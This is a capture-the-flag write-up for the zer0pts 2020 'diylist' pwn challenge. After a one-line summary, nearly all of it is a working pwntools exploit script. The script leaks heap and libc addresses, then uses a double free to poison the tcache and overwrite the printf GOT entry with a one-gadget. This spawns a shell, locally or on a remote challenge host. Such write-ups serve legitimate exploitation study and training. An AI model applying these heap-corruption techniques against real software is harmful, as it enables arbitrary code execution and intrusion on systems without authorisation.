Rating:
TL;DR: Get a leak due to bug in `list_get` and then use the double free in `list_del` to do a tcache poisoning attack.
```
from pwn import *
import sys
def add(typ, data):
t.sendlineafter('> ', '1')
t.sendlineafter('str=3): ', str(typ))
t.sendlineafter('Data: ', str(data))
def get(idx, typ):
t.sendlineafter('> ', '2')
t.sendlineafter('Index: ', str(idx))
t.sendlineafter('str=3): ', str(typ))
t.recvuntil('Data: ')
return t.recvline()[:-1]
def edit(idx, typ, data):
t.sendlineafter('> ', '3')
t.sendlineafter('Index: ', str(idx))
t.sendlineafter('str=3): ', str(typ))
t.sendlineafter('Data: ', str(data))
def delete(idx):
t.sendlineafter('> ', '4')
t.sendlineafter('Index: ', str(idx))
def exploit():
t_long = 1
t_double = 2
t_str = 3
add(3, "AAAABBBB")
add(3, "AAAABBBB")
add(3, "AAAABBBB")
add(3, "AAAABBBB")
# Fill tcache
for _ in range(10):
add(3, "@"*0x90)
for i in range(8):
delete(3)
leak = int(get(3, t_long))
log.info('heap leak: {}'.format(hex(leak)))
# Create another item pointing to the same chunk by setting the
# integer val as the pointer
edit(4, t_long, leak)
# Free this chunk, it should go into unsorted bin and have fd and
# bk pointing to main_arena
delete(3)
# Leak main_arena pointer
libc_leak = get(3, t_str)
libc_leak = u64(libc_leak.ljust(8, '\0'))
libc_base = libc_leak - 0x3ebca0
log.info('libc leak: {}'.format(hex(libc_leak)))
log.info('libc base: {}'.format(hex(libc_base)))
# ===================================================
# Now exploit the double free again but this time overwrite fd
og = libc_base + 0x10a38c
leak = int(get(1, t_long))
log.info('second heap leak: {}'.format(hex(leak)))
log.info('og: {}'.format(hex(og)))
# Create another item pointing to this chunk
edit(2, t_long, leak)
# Double free the chunk
delete(1)
delete(1)
# Overwrite fd to point to printf GOT, tcache doesn't need us to
# fake anything
add(3, p64(0x602050))
add(3, 'XXXX')
# Allocate chunk in GOT and overwrite contents with one gadget
log.info('Spawning shell...')
add(3, p64(og))
t.interactive()
if __name__=='__main__':
if len(sys.argv) > 1:
t = remote('13.231.207.73', 9007)
else:
t = process('./chall', env={'LD_LIBRARY_PATH': '/home/pwn/ctf/zer0pts_20/diylist/'})
pause()
exploit()
```